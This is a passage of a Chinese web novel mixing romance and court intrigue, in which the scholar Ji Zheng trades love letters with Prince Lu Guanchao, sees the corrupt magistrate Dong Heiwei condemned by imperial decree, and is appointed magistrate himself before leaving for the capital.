算着日子,依照陆观潮的性格,也该给他传个只言片语了,再迟下去季铮都要怀疑陆观潮是不是出事了。 季铮满心满眼就是回去看信,没心情关心别的,一路疾行,险些撞倒他人,也就没注意到结尾一闪而过的轿子。 “停一下。” 轿夫不顾还在街中央,立马停下。 侍从笑眯眯的讨好迎上去,“老爷,什么事吩咐?” 董何维撩起车帘,看着远处那一抹青绿色的身影,眉头紧锁,“那个人,瞧起来很是眼熟。” “要奴才给您抓回来吗。” “不必。”董何维翻了他一个白眼,问道,“他是从哪间铺子出来的。” 侍卫谄媚的笑道,“奴才这就去查。” 董何维嘀咕了什么,直到那身影彻底看不到才撂下车帘。 陆观潮在大都有够闲的,这是季铮还没拆开,捏着厚厚的一沓子纸,冒出的第一个想法。 看着架势,可谓是事无巨细,恨不得将自己的一言一行都写给他看。 季铮莫由来笑了一声。 信中提到大都情况,和王介夫同他说的相差无几,除此之外,还写了那位苍山居士的行踪。 他手下的人侍奉陛下时,曾听闻苍山居士会参加不久后的圣上寿宴,苍山遥远,如今已经在路上了,圣上令人前行出城迎接,向来是板上钉钉。 季铮盯着苍山居士几个字沉思,不由想,圣上办这次宴会是为了挑选心腹,这般看来苍山居士也在其中。 不过既然会选择在新帝登基之际,抛下荣华富贵归隐,必是有缘故的,这次又为何回来。 只是简单来参加寿宴?那前几年怎么不来。 这个理由太牵强了,季铮再继续往下看,陆观潮转而写其他的了,不了了之。 陆观潮先是明里暗里抱怨了一通大都日子难熬,夜夜睡不着觉,又是骂赵年木讷,骂陆泽事多,骂朝臣百官迂腐蠢笨,骂宫人阿谀奉承。 季铮逗笑了,暗道这天地下就没有让陆观潮顺心的人或事。 圣上以安抚的名义赏了不少好东西,陆观潮信上道:左右不过一些小玩意,打发打发世间还不错,全留给你玩。 像是怕被人比下去,又匆匆补充:我府中的宝物比他的稀奇多了,也都留给你,我还藏了私房钱,全给你,愿意怎么花怎么花。 要不是信使送不了物件,季铮都要怀疑他要把库房钥匙一并送来了。 陆观潮簌簌叨叨了许多琐事,和他在外人面前素日蹦出来一个字的形象大相径庭。 季铮教了他几天,陆观潮学东西极快,这封信字迹工整,称得上一句端秀清新。 这么“赏心悦目”的几页信,到最后一行却变了。 陆观潮写了好多版,再反反复复涂黑。 季铮看着几条“大黑长虫”陷入沉思,陆观潮到底要说什么? 直到季铮翻到背面,心头咯噔一下。 “一别多日,辗转反侧,不知你心似我心乎?” 哦,原来不是与大都风水相克,是他在魂牵梦绕着陆观潮的心绪。 季铮一直看,天边昏黄一片,季秧敲门说回来了都没回应。 再回神时,脸笑僵了。 季铮搓了把脸,强忍住笑意,把信收好。 又想,是不是该回个什么。 “圣上。”福寿禄例行按摩过后,问道,“今日您可还有地方不舒坦?” 陆泽捂着脑袋,缓缓吐出一口气,“朕心烦,该当如何。” 福寿禄道,“奴才去请李太医,开一贴清心的药剂?” “心病岂是药石可医。” 陆泽摇了摇头,“陇县如何了。” 福寿禄忙找出几本折子交上去,“王大人与董县令都来折子了。” 陆观潮一事后,陆泽暗地里传口谕骂了董何维,并不打 算就此压下,反而在寻机会把这根眼中钉肉中刺剔除。 恰好俩人冒出来了,陆泽先看了王介夫的折子。 折子里喜气洋洋,说不过乌龙一场,那位天才生员没死,陇县新型了几件有趣玩意,他怀疑出自生员之手,已托人给圣上送去了。 陆泽对他说的什么肥皂牙膏云云的不敢心情,只有一句入了他的眼。 这人活着。 可太妙了! 陆泽怀着这样的想法,看董何维的折子都和颜悦色了几分,其折子里也提及了这生员,不过不敢确定,问圣上的意思,要不要带去见圣上。 陆泽冷嗤一声,将他的折子甩飞在地。 福寿禄吓得一抖,“圣,圣上?” “这董何维还敢挑衅朕。”陆泽恶狠狠道,“看来是摆不清自己的身份。” 福寿禄不敢去捡那折子,微抬眼问,“圣上的意思。” “传旨赵德。”陆泽信手一挥,“他摆不清,没关系,朕替他认清楚,这人是朕的良才,可不是他的。” 与此同时,陆观潮躺在屋内暖榻,没烧炭火,倒不是内务府不给送,如今他“复生还魂”,饶是内务府再贪,为了小命也不敢苛待。 他纯粹燥得慌,前几日才安顿好便给季铮去信了,还特意多加了钱,叫信使快些送,现在大抵拿到了吧,回信也许也到了。 季铮看到了没有,看到了会怎么想,嫌他事多?还是压根没看,不回他信? 他留在背面的话,也太蠢了点,会不会忒不要脸了,可别吓到季铮了,万一因为他鲁莽,叫季铮那一点点好感转正为负了呢? 陆观潮越想越觉得不妥,时常懊恼,给自己急得抓耳挠腮,起了一身汗,也就不必烧炭了,往炭盆里一坐,都能给人当火炉使。 门外赵年问道,“殿下,你要用晚膳吗,内务府送饭来了。” “不要。”陆观潮翻身背对房门,“你自己吃吧,我没胃口。” 他久不在珏王府居住,逢年过节也是凑活住一晚第二天马不停蹄的上路,因此府中仅有一老管事两护院,谁与谁都不熟,珏王府规矩随意,主子不像主子,奴才宛如长辈。 再说陆观潮这名声,回城时赵年热热闹闹的挑三拣四了一条街,传遍大都,更是雪上加霜。 即便盯着亲王主帅的名,也无人愿意与他交往,上朝人人躲着,下朝后珏王府门可罗雀,正好不用应酬,余下的世间都用来胡思乱想了。 陆观潮连着三个晚上没吃晚膳了,赵年身后的罗管事佝偻的腰背,试探问道,“殿下怎么说?” 罗管事耳背,赵年扯着嗓子朝他道,“殿下不吃了,咱们先吃!” “哦,哦。”罗管事下意识反驳,“这个年纪怎么能不吃东西,我给送去。” 赵年连劝带拉,可算是给这位祖宗哄走了。 陆观潮掀开蒙着头的被子,满脸哀怨。 季铮坏死了,他再也不要和季铮这始乱终弃的人见面了! 外头赵年去而复返。 “殿下,您来信了。” 他才抬头,只觉面前扑过来一阵风,陆观潮风卷残云的速度夺过他手中的信,转身关门,一气呵成。 “哦,还有……”赵年手伸到半空,“砰”的一声被关在门外。 门内,陆观潮来不及坐下,先去看信件,一看到陇县两个字。 什么季铮坏死了,什么始乱终弃,什么再也不见面,通通打包掘地三尺埋起来。 取而代之的,是陆观潮不值钱的傻笑。 59.第 59 章 季铮笔下正经,信里应是没写了乱七八糟的东西。 极其单薄的一张纸,陆观潮心惊胆战的捏着信封翻来覆去了半晌,也舍不得拆开。 他心底猜测,季铮会写些什么? 是答应还是糊弄过去,倘若那马上一吻,季铮是为了哄骗他快点离开,才忍下不发的,那么一别多日,也该在信里撇清干系了吧。 陆观潮纠结着想,季铮一贯是这样的性子,自己提出要帮什么忙,虽然嘴上说着感激,却从未接受过。 他给季铮的一切,季铮都想法设法的还回来了,反观是季铮给他的要更多,他想还,而季铮不在乎。 说难听点,他们两不相欠,可是人与人都是欠来欠去才长久,不欠点什么,怎样才能有下一步呢。 陆观潮就这样盯着信,心里五味杂陈,几度给自己判死刑。 他原本有多期待季铮给他写信,如今就有多不敢来看。 还不如没有这信,他能一直骗自己,季铮是和他一样的心思。 思索许久,直到陆观潮站着的腿都发麻了,他才堪堪回神。 陆观潮苦笑一声,怎么一向杀伐果断,是死是活都不放在心上的煞星,会因一张纸犹豫踌躇。 他想清楚,叹气坐下,手微微发抖,故作气定神闲的拆信。 和他猜想的一般无二。 季铮果真没在信里写别的,更确切地说,信中只有短短一行字。 “我心匪石,不可转也。” “睽违已久?,陆郎风采,久久不忘。” 久久不忘…… 何为久久不忘? 陆观潮眼眸低垂,嘴角缓缓勾起。 像他一样的久久不忘吗? 忽然,陆观潮宛如疯了一般的笑起来。 从开始担心被人察觉,捂着脸低低轻笑,到实在憋不住,直笑得涕泗横流,直不起腰。 他这一辈子,就没这样笑过,怕是那陆泽立刻被千刀万剐的嗝屁,他下一秒统领大军踏灭辽军都不足以牵动他的情绪了。 好似明日世界就要毁灭,他再也不能看到来日烈阳明月,所以要一口气笑回来。 和季铮在一起后,陆观潮才渐渐发现,原来笑是多简单多寻常的事。 门外赵年打了个哆嗦,心道殿下莫不是得了痴呆? 正当赵年要出门请大夫之际,身后“哐当”一声,陆观潮潇洒出门,震得门框抖了三抖。 赵年一懵,回首看去,蓦然呆愣住。 殿下……不对,这还是他家殿下吗?! 那个总是面含阴郁,沉着脸的殿下,在他面前笑了。 不是苦笑,不是冷笑,是真真切切,发自内心的笑。 “殿下。”赵年还没反应过来,傻傻问道,“圣上死了?” 陆观潮闻言才压抑的笑意破功,又噗嗤一笑,骂道,“蠢货,他要是死了我还能在这,去温两壶好酒,叫上罗管事,夏目和刘英,本王要好好醉一场。” 赵年狠狠一点头,要去准备,又听陆观潮道,“罢了,不要温的,给我凉的。” 他的心够热了,没必要再暖。 熏香袅袅。 董何维半躺在美人榻上,一边貌美女郎捏肩捶腿,一边是小厮倒茶喂点心,眼前有姑娘弹琴唱曲,好不舒坦。 屋外小厮猫着腰走进来,附在董何维耳边说了什么。 董何维烦躁的“啧”了一声,道,“叫他过来吧。” “是。”小厮出门,不一会带进来一个高壮的汉子。 汉子不卑不亢,见了董何维也不谄媚,规规矩矩的行了一礼,正是莫关源。 那日季铮策反莫关源后,便安排他待在县令府,里应外合。 毕竟是给他干过脏活,董何维好脾气问,“莫壮士何事?” “县令大人。”莫关源抿唇须臾,下定决心般跪下,懊悔道,“贱民有罪。” “哦?”董何维来了兴趣,要直起身来听他说话,无奈身子太胖,身后两三美人扶了一把才坐直。 他挥退屋内美人小厮,问道,“你何罪之有啊。” 莫关源娓娓道来,“那日大人令我等刺杀珏王于其身边的季姓生员,我等杀死珏王后,珏王死护生员,我们只重伤其身,并未除掉姓名。” “什么?”董何维眉头一挑,气急了就爱摔打物件,他随手抄起手边的玉石摆件砸下。 白玉骏马当即分崩离析,有一小块擦着莫关源眉间刮过,淌下一行血迹。 董何维阴沉沉骂道,“你个天杀的,胆敢骗我!” 莫关源没顾忌眉间伤口,“贱民恐大人怪罪,因此不敢直言,本预来日再杀掉也不迟,事后却迟迟找不到人,前不久才得知。” 他顿了一下,道,“这人受有风茶坊的宋娘子庇佑,就是那制出肥皂牙膏的宋娘子!” 董何维嗤笑道,“我早就知道了,还用着你说,只不过是我最近吃斋念佛,清心寡欲放你一条生路罢了。” “谢大人不杀之恩!”莫关源又道,“我已知那厮具体所在,大人再给我一次机会,我一定为您拿下!” 董何维指尖敲击木质把手,听罢眸光一暗,道,“我和你一起去。” “是!” 莫关源低着头,眯了眯眼。 陆观潮心血来潮与四人喝了一顿,桌上十分尴尬。 夏目和刘英面面相觑,不敢动筷,陆观潮一味闷头喝酒,唯独赵年和罗管事感动连连,欣慰自家殿下终于有点“人样”了。 最终以陆观潮醉酒回房睡觉结束。 天已经暗了下来,烛火朦朦胧胧的,看不清楚四周,陆观潮隐约间觉得屋内多了一人。 初以为是赵年,陆观潮翻身吩咐,“你也喝了不少,不必管我了。” 这话出口,那人非但不离开,反之坐到他床边。 陆观潮直觉不对劲,不动声色的回头,迅雷不及掩耳盗铃之势擒住来人,掐着男人的脖颈摁倒身下。 “你是何人,有何目的……” 看清面孔,陆观潮瞳孔一缩。 身下男人泪眼蒙蒙,嘴唇微张,也带着几分酒气,不舒服的昂头,露出被陆观潮钳制着的细长颈脖。 “陆观潮,我疼……” 陆观潮陡然卸力,赶紧松手,慌乱检查有没有留下痕迹,声音愧疚,染上委屈的意味,“季铮,我不是故意的。” 洁白的脖间红了一圈,好不可怜。 季铮伸手握住陆观潮的手,带着其摸向自己脸边,歪头蹭了蹭,朝陆观潮笑道,“我知道,没关系啊。” “你怎么来了。”陆观潮想起信中内容,问道,“你在信中写的可是真的?不要逗我玩。” 他说着,软下身子抱着季铮,一只手还赖着季铮脸上,另一只手已然不老实的环住身下人的腰。 陆观潮脑袋埋在季铮胸膛上,闻着人身上的味道,撒娇似的拱了拱。 “陆观潮。”季铮唤了一声,一下一下的拍着陆观潮后背,回答道,“我想你,就来了。” 陆观潮笑了,闷声抱怨,“不要这样了,万一被别人发现了怎么办。” 等了几秒,陆观潮没等到季铮回话,他不解抬头,却见季铮换了一副表情,先前笑意盈盈的脸现在冷得他心惊。 季铮推了他一把,无情道,“那我便走了。” 随即陆观潮背后一悬,下坠感袭来,他伸长胳膊抓季铮,抓了个空。 冷风入窗,陆观潮乍然睁开眼,心跳还没平复,直冒冷汗。 陆观潮望着屋顶,窗外的寒风还在呼呼往里 吹。 梦中的场景历历在目,仿佛还在眼前。 季铮…… 陆观潮只觉一阵燥热,难耐的喘息几声,眼角湿润。 季铮真讨厌,他才说了几句,就把他赶出来了。 这时,赵年在门外喊道,“殿下,你睡了吗,我还有事没来得及和你说!” 陆观潮凝眉看去,隔着一扇门问道,“何事。” 赵年听到他声音,还以为他没有睡着,就要进门汇报,手才搭上门,陆观潮道,“屋外说。” “哦哦。”赵年缩了回去,尽己所能的降低音量,以免被他人入耳,“是圣上,赵德说圣上命他暗中前往陇县,寻一季姓生员,除董何维……” 陆观潮神色一凌,“什么?” 这陆泽,难不成查出了什么,要对季铮下手? 赵年接着道,“暂不知圣上用意,但依属下猜测,季姓生员是季公子不错,赵德恐被圣上眼线所查,出城百里才敢传信,算着时间该是到了。” 陆观潮顿时卸下心中旖旎想法,起身追到门口,问道,“可有给赵德说……” “属下自是说了。”赵年道,“赵德说圣上并非是这意思,相反很是欣赏季生员,他自知季生员是殿下的人,会以礼相待的。” 陆观潮松了一口气,转而又提起另一口气。 陆泽这么做,一定有季铮在中间推波助澜,可是季铮,当真有十成十的把握? 远远听见有人叫嚷,季铮抬眼看了下吓得不轻的季秧,微微一笑,安慰道,“无事,你别多想。” “可是。”季秧皱着一张脸,不确定问,“万一阿兄你说的人没来,岂不是真叫那董县令得逞了。” 宋有音与李芸亦是劝,沈弎沉默良久,此时道,“生员,我带你走吧。” 他说这话时,眼神坚毅,像是季铮一点头他就能扛着季铮跑。 季铮被几人逗笑了,将季秧拉到宋有音身边,道,“该来的逃不掉,该我的夺不走,你们把季秧照顾好就是了。” 季秧眼泪一下子涌了出来,“阿兄。” 还是宋有音有主见,对上季铮的视线,心知无法撼动,叫住李芸左右开工,拉着季秧往后门走。 沈弎左右各看看,向季铮颔首,随着宋有音离开。 季铮看着三人离开,才整理衣衫出门。 门外是董何维,莫关源以及几个眼熟的汉子。 季铮温和笑道,“各位怎么来我寒舍了。” “季铮。” 董何维咬牙,恶狠狠的看来,“还真是你。” 季铮摊开双手,耸了耸肩,“是我,如假包换,董县令还要见哪个季铮?” “你还活着?” “董县令这话我就好笑了。”季铮道,“我不活着,难道是一具尸体与你说话吗?” 董何维越看越心惊,从前只看到季铮这幅令人亲切的面孔,这才知晓皮囊之下黑莲花的心。 他后退一步,对莫关源道,“别听他油嘴滑舌,快快动手。” 季铮换手而立,不躲闪,也不反抗,平静道,“你要杀我啊,一次不够还敢有第二次,县令不愧是清正廉明?的好县令。” 董何维明白季铮是在讽刺他,当下更是气愤,猛推了莫关源一把,急迫道,“还不快动手。” “不好意思啦。”季铮双手合十,真诚道,“你还真杀不了我了。” 董何维还没思索深意,耳后马蹄声渐近,像踏在他的神经上,额头突突直跳。 接着,就传来王介夫地狱饿鬼般的声音, “陇县县令董何维,季生员季铮,我乃陇县节度使,携御前侍卫长使赵大人传圣上口谕,请听旨吧。” 董何维脑中嗡嗡作响,眼前季铮的笑化作猛虎,将他生吞活剥。 60.第 60 章 王介夫话毕,见董何维久久不跪,也没了往日里好商量的模样,直接令身后侍卫压下。 董何维仿佛吓傻了一般被拖行了几步,瘫倒在地。 季铮淡淡瞥了他一眼,向前一步撩起衣摆,从容不迫的跪下,腰杆挺得如青竹笔直。 微风吹过,空荡荡的大街上,马上众侍卫打着零星几点火把亮光,隐约照亮跪着的几人,更衬托季铮挺拔不群。 赵德只一眼就认出这人便是殿下提及的季生员,立刻翻身下马,虚扶了一把。 “季生员。”赵德将人扶起,“圣上有旨,生员不必跪拜,快快请起。” 季铮也不推辞,他本也不习惯动不动就跪下三叩九拜的礼度。 只是董何维不可置信的看来,看得他不自在。 赵德扶起季铮后,退回队伍,王介夫下马宣读, “奉天承运皇帝,诏曰,显化七年,前陇县县令董何维,经节度使举报,强占民女、草菅人命、滥用私刑,罪状属实,即三罪并罚,依律判主犯处死,抄家连坐,公示罪状以儆效尤, 今有显化二年生员季铮,经节度使王介夫举荐,改进曲辕犁有功,朕心怜爱之,超授陇县县令。着王介夫偕季铮下月赴阙,预朕寿辰朝贺,尔其钦哉。” 季铮谢主隆恩后,从王介夫手中接过圣旨,王介夫喜气洋洋的报喜,“如今可不是小季生员了,我该称一句县令老爷?” “大人莫要折煞我了。”季铮笑笑,“大人知遇之恩在前,圣上提携之意在身,与季某而言,皆是再生父母,某在各位面前哪敢叫嚣本领。” 这话说的滴水不漏,赵德心道不愧是殿下看重的人,随着王介夫道了几声恭喜,便要带人押送董何维回府清点。 董何维像是忽然反应过来,挣扎着挪动肥硕的身躯,竟灵活的躲过几个侍卫。 季铮偏头看去,还敬他是个县令,笑眯眯道,“董大人,可需要我扶您一把?” 他说着,伸手做出要付的动作。 董何维恶毒的“呸”了一声,目眦欲裂,指着莫关源发号施令,“莫关源!快带我走。” 季铮没忍住笑了一声,他居然还寄希望于莫关源,也是没招了吧。 下一秒莫关源站到季铮身边,报喜道,“恭喜季大人。” 董何维瞪大双眼,变色灰白,蓦然顿住,张着嘴发不出声音,一副颓败之色。 王介夫怒道,“抗旨不尊,罪加一等,快拿下!” 几个侍卫得了准令,捉住死鱼一般的董何维。 先前又是行礼,又是听旨,季铮还没仔细看这一对队伍,这回借着和王介夫说话的功夫才得以认真看。 是夜,火把朦胧,抬眼看去,一行骑马侍卫,约莫三四十人的样子,身着轻甲,庄重森严。 几位侍卫押着吓尿了的董何维一路至县令府,马蹄声哒哒作响,轻甲摩擦的声音钻入临街各门户里。 不多时惊醒一片百姓,深夜有宵禁,倒是没人出来围观,只不过家家点起烛火趴在窗边偷听。 王介夫忙着安排侍卫们连夜抄家,清点财物。 县令府灯火通明,后院姑娘,府内管事奴才们的吓得又哭又喊,闹得可谓是热火朝天,宛如过年放炮仗一般。 季铮新官未上任,一还没拿到县令印,二来情况混乱,也未必有人听他的,只跟在王介夫身边帮把手。 王介夫与董何维梁子早就结下了,抄起家来毫不留情,还是季铮多次劝阻,才手下留情,主动给季铮让出主理位子,也算是给新县令一个下马威的机会。 季铮为方便安排,待到清点完毕,将县令府众人召集到一处,搜刮来的金银就放到一侧,王介夫道圣上收走大部分,剩下的留作季铮安排。 院中众人跪地,呜呜咽咽的低声啜泣,甚至还有人衣裳都没穿戴整齐。 季铮尽可能的摆出和善面孔,道,“给各位找些板凳坐下,夜深了,大人也莫站着,我托厨房煮了姜茶,都分一分。” 赵德朝季铮拱了拱手,“写大人好意,不必麻烦了。” 季铮笑道,“不麻烦,已经做好了,不要浪费才是。” 赵德推辞不过,与王介夫搭把手一同分发姜汤。 几个侍卫任劳任怨的一一找来板凳,分发姜汤,直到一碗碗姜汤落到他们手里,登时傻了。 这还是他们跑了无数任务以来,第一次有大人给他们板凳坐,姜汤喝,面上不显,心底都对这位陇县县令感激涕零。 季铮看着院中都拿到姜汤坐下,拿过账本翻了翻。 赵德递来找出的县令印,在一旁汇报,“董何维账本做的极巧妙,我们查了多时也没对上,耽误大人正事,该罚。” 季铮郑重收下县令印,摇头道,“无碍,你们本就不是做这个的,我有一人可帮得上手,明日再算也不迟。” “是。”赵德松了口气,本以为自己会是季铮新官上任三把火的其中一把,这么看来,自己是逃过一劫了。 季铮轻飘飘的合上账本,转而问,“府内可有会登记造册的幕僚?” 董何维自高自大,不愿意听人劝导,几个幕僚都是油嘴滑舌,溜须拍马的人物,季铮看了一圈,最后一个瘦弱的男子主动请缨。 “大人。”男人扬起嘴角道,“我乃田观雪,去年入府做幕僚,登记造册,隽写文书无一不通,如若可以,原为大人马首是瞻。” 季铮被逗笑了,“好吧,那你来,叫我看看你究竟如何。” “好嘞。”田观雪喜滋滋的做到季铮身边的位置,提笔磨墨。 季铮又道,“董大人已被抄家问斩,我姓季名铮,圣上赐我新任县令,各位清楚了吗。” 见有几人点头,季铮继续道,“不必忧心,人非草木孰能无情,今日有谁不愿再为县令府做事,皆可上前来,我自会为你们找出路。” 赵德皱皱眉,想提醒季铮不该仁慈,又想到殿下说的不要多干涉,生生忍住。 等了半晌,都没人敢言语,一时之间寂静的掉针可闻。 季铮不急,就这么慢慢等着,终于有一个姑娘颤抖着站起来。 姑娘未语泪先流,哭道,“我是良家子,爹娘还在家中等我,求老爷饶我一命,放我回家团聚。” 说着扑腾一下跪下连连磕头。 季铮吓了一跳,迎了几步将人拉起,亲手取了几两银子给她,“姑娘莫哭了,且去那位大人那里消掉奴籍。” 姑娘抬眼,泪眼汪汪的眨巴着呀,看似是还以为自己在做梦。 田观雪熟知府内人员,利落的从一沓子奴籍中翻出姑娘的身契。 董何维不舍得花钱,又隔三差五打骂死手下的人,不值得买死契,县令府多是活契,签字画押后,再登记新身份便是自由身。 姑娘拿着身契,抱着季铮给的安家费发愣,“我,我可以走了?” “自是可以。”季铮道,“只怕深夜路难走,姑娘可在府中住一晚,隔日再走。” 姑娘闻言,才止住的泪水又留下,热泪盈眶的感谢季铮大恩。 有这姑娘开头,越来越多的人起身要走,季铮一一发安置费改户籍,好在董何维翻出的赃款足够多,他不愁不够用。 有不放心连夜要走的,自然也有答应住一晚的,季铮安排人都住下。 赵德眯了眯眼,这是不放火,来怀柔了? 院中就剩侍卫与了了几个老弱病残,无家可归的人了。 季铮也不苛待,每人分了些银两安抚一二便散了。 最后田观雪捧着剩下的奴籍,屁颠颠的讨好道,“老爷,属下要留下。” 他分析面相多年,早看出来了,这新县令可不简单,一等一的富贵命,将来必定青云直上,好在他在看到董何维血光之灾时没立刻跑路,不然就错过追随正主的机会了! 季铮点头道,“都收好,以后不必叫老爷。” “是。”田观雪眼 珠子一转,换了称呼道,“大人,那我下去了。” 待一切安置好,王介夫踱步走到季铮身边,和他一起看天上弯月。 季铮没转头,“大人不去睡吗?” “这么闹了一顿,还怎么睡得着。”王介夫叹息一口,“明日便要回大都了,想来还有些舍不得。” 季铮笑了,“来日繁多,大人这都要愁一愁?” 王介夫道,“说来也是,我所求便是回大都效力,实在不该为眼前琐事绊住。” 他又道,“不过你今日上任,可还习惯。” “没我想象中的艰难。”季铮道,“下官不会辜负大人信赖。” 王介夫看向季铮道,“你今晚做到很好,让我来都未必会这么舍得,待明日名声打出去,不愁没人不服你。” 季铮偏头,“这还要多谢大人。” 两人无言片刻,季铮看着明月,感慨道,“来日之事未可知啊。” 王介夫注意到季铮眸光如炬,若有所思。 第二日,天才微微亮,季铮才从众多事务中抬头,听田观雪说门外来人,为首者自称县令妹妹,前来求见。 季铮这才反应过来险些忘了季秧几人,赶紧起身迎接。 街上吵得要翻天,季秧一晚上没睡,担惊受怕,一大早上却听说,董何维抄家问斩,新县令上任。 再一打听,新县令草根出身,是显化二年的廪膳生,怜爱百姓,昨夜一夜放归县令府受欺压的奴才,此等胸怀,不正是自家哥哥。 如今街上皆是传诵新县令仁慈之言,更有聪明伶俐者,已编好剧本,就差今夜登台演出了。 会客室里,宋有音和李芸面面相觑,季秧暗自神伤,三人各怀心事,以至于季铮来时,支支吾吾的谁都说不成话。 田观雪琢磨着季铮的态度,猜测季铮认得这几人,喜笑颜开的开口道,“快快请坐,属下这就去请茶。” 季秧上前上上下下的把季铮看了个遍,确定没事才放心,“阿兄,你要吓死我了。” 官服尺寸不合适,得重新做,季铮还穿着昨日的衣裳。 “是我错了。”季秧安慰道,“这还早,我以为你没起床,想着晚一点去找你呢。” 季秧一撇嘴,“人人都在夸新县令大人多好多好,我这个做妹妹的,如何才能睡得着。” 这一县令提醒宋有音了,她拉住李芸朝季铮行礼道,“见过县令大人。” 今时不同往日,季铮虽不能摆谱,但也不该一点架子都没有,他应下又道,“不必多礼。” 圣上圣旨让他们在寿辰露脸,得赶在一月内到大都,季铮就要出发,没时间和几人多叙旧,正好几人来了,省得他跑一趟。 昨夜他说的有一人可帮得上手,正是季秧,季秧在宋有音店里帮忙,管理账簿来很有天赋。 季秧历经此事也稳重了些,听季铮说要即刻去大都,兴许无法回来过年都憋住失落答应。 府内人少,田观雪是个人精,管理起来不成问题,此外,季秧暂管账册,宋有音李芸先放下铺子的事辅佐左右,又有几位问斩董何维的侍卫以及莫关源一众人在,安危也不必担心。 这几人季铮都信得过,再加上王介夫身边的王实会留下,时刻向大都汇报。 如此仔细安顿好,季铮好不容易能安心了。 要是他才上任就闹出烂摊子就不好了。 回大都的车马已经准备好了,季秧没多说什么,小姑娘含着泪送他,抱怨道走到匆忙都来不及准备东西,要返回取东西送来。 季铮回她都带全了,悻悻歇了心思。 门外一见到季铮出来,都要看看这位新县令何模样,堵得人满为患。 季铮不敢多逗留,回头招了招手,登上马车。 烈日当空,却是冬日,觉不出热意,冷风吹到脸上,季铮心是热的。 他没有当上县令或前往大都的兴奋,满脑子都是一个陆观潮。 61.第 61 章 自从决定走这一步,季铮早就做好准备。 那日给陆观潮的东西他没拿,虽说系统发放任务改为直接传输意识,但季铮以防万一便随身带着了。 出发时清晨匆匆收拾行李,还不忘带上几份牙膏肥皂给陆观潮看看。 想到系统,季铮忽的想起任务五还没完成,想着反正赶路无聊,索性点开系统研究一下。 谁料才点开,系统噼里啪啦的弹出恭喜音效,吵得季铮忙捂住耳朵。 【恭喜宿主!任务五完成!!】 季铮皱眉,他又干什么了,莫名其妙的完成了?! 【系统大更新,更改为“种田系统之为官之道任重道远”,将会进一步开发新奖励,更新自动提醒功能,希望宿主积极建设~】 【目前身份陇县县令,解锁地点一:陇县,百姓幸福度:2;设施建设:1;经济发展水平4;宿主声名值:6,满分10分,及格6分,宿主再接再厉。】 季铮嘴角抽了抽,原以为种田系统已经够雷人了,没承想如今又多了个神2.0为官之道,这到底是不是正经系统啊! 光屏弹出一个光球,自顾自的介绍,【铛铛,宿主请看,这里可以查询数值,这里可以查看地图,任务面板还在这里哦~】 季铮顺着光球的位置一一看过,不得不说系统大更新后确实是比原来的专业多了。 不再是一开始随时都要跑路的破旧风,亦或是后面动不动弹炫彩字效的低俗风,面前的系统面板简约整洁,对季铮的眼睛很友好。 再说新更新的机制,任务完成自动提醒,虽然只起到了一个省事的作用,但相比原来,季铮已然很满足了。 【任务五已成功发放,请注意查收,现在发布任务一,普普通通,陇县各个数值达到及格线,奖励现代耕种之法。】 季铮眼皮一跳,脑中涌入制盐的详细步骤,他凝眉捋清思绪,叉掉系统。 新任务提及的达到平均值不是难事,但也谈不上简单,他不在陇县,单靠那几人,进度一定大打折扣。 而他最快也要一个月以后才能回陇县了。 季铮摸出纸记了几笔,心底慢慢有了底。 王介夫不缺钱,但日常生活上拮据,准备的车马简单,季铮坐在里面颠的浑身酸痛,不得已拜托赵德寻一匹马,骑马上路。 季铮从前没骑过马,幸好赵德找的马是匹好脾气的,有赵德带着学,再适应了一天也就会了。 赶路也有四五日了,官道速度快,大抵再有六七日便可抵达。 季铮实在第六日时收到季秧的信件。 信中道,府中账簿对好了,有疏漏的地方圈上了,另附了账簿过来,季铮打开瞧了瞧果真如此,季秧当真细心。 除此之外,季秧道董何维已被侍卫大哥们悬首示众,按照季铮的意思,罪证于人流最密集的地方张贴,长街人人叫好,终于敢叫骂董何维了,李芸去看过,回来后做梦都在笑。 有坏的衬托的好的更好了,据说编撰季铮那晚风度的话本都演到第五版了,个个夸县令大人爱民如子,貌比潘安,乃天君渡劫。 季铮哭笑不得,又看到府内一切安好,田观雪只管手下人,偶尔帮把手,还把元元也接过来了,几人一猫相处和睦,季铮心口的石头可算落下了。 远处赵德踏马过来,行礼笑着问道,“季大人,我瞧您神色自然,可是有好事?” “好事谈不上。”季铮收起信件,“不过是解决了麻烦事而已。” 临近黄昏,赶路的速度慢下来,寻地方扎营,季铮于赵德这几日下来关系进了不少,一起慢悠悠的走着,欣赏周边风景,渐渐的甩到队伍后边。 季铮侧头问赵德,“赵侍卫是有事与我说?” “正是。”赵德道,“我明人不说暗话了,我明面是圣上的人,但人各有志,珏王殿下才是属下明主,季大人以为呢。” 季铮了然,这是陆观潮的手下,根据赵德的身份猜测,大概率就是一直和陆观潮传信的人了。 他道,“良禽择木而栖,谋士择君而依,并无不妥。” 赵德笑了笑,“大人此话甚妙,殿下告知我,甚喜爱大人,如今打过照面,方知殿下为何喜爱。” 季铮反问,“他很喜爱我?” “当然了。”赵德讲道,“从前传信,常常提及大人,我出发时,特意叫我好好照顾,我自追随殿下以来,还未见他对何人何物如此伤心,大人您是头一个。” 季铮眉眼一弯,笑得眼泪的出来了,遮唇低低笑了几声,“好罢,我知道了,定会感谢殿下赏识。” 莫名像他看过的霸道总裁,里面一段管家手帕擦泪:少爷好久没笑过了,你是第一个被少爷带回家的人。 季铮笑到这,打了个冷颤,他怎么先入为主的代入了故事里的娇妻角色? 按照他俩的性格,应该他是霸总,陆观潮作娇妻。 另一边陆观潮打了个喷嚏,赵年问道,“殿下可是冷了,要不要加件衣裳。” “我没事。”陆观潮问道,“朝中什么情况?” 陆泽还是忌惮他,这段时间以来,不敢单独召见,到现在连朝会都免了,美其名曰,贤弟受此磨难,该多休息,非重要活动不必参加,变相的禁足。 赵年道,“宫中崔伯崖传来消息,圣上最近要了各家娘子公子的名单,貌似要为寿辰做准备,好似是敲定了皇后的人选,乃太傅家的嫡女,姜绾绾。” “姜绾绾?”陆观潮不解,“好生耳熟。” 赵年尴尬一笑,“殿下您忘了,几年前圣上为你赐婚的是其嫡姐姜婉婉,你差点把人克死。” 陆观潮脸一黑,赵年立马三两句揭过去。 太后一族孙氏尽数抄斩后,朝中仅剩王氏一族独大,另有刘氏分庭抗争,两家虽明里暗里争抢,但都琢磨着圣上的底线,也足够听话,因此圣上并未一并除去,大发慈悲的留下两族。 朝中太师一位空悬,当年陆泽是打算给白玉山的,可惜白玉山跑去苍山隐居了,不了了之, 太傅姜氏多年不管朝中事,专心培养幼子二女,绝对中立,这也是为何陆泽会挑中姜绾绾了,如此一来两家都不得罪。 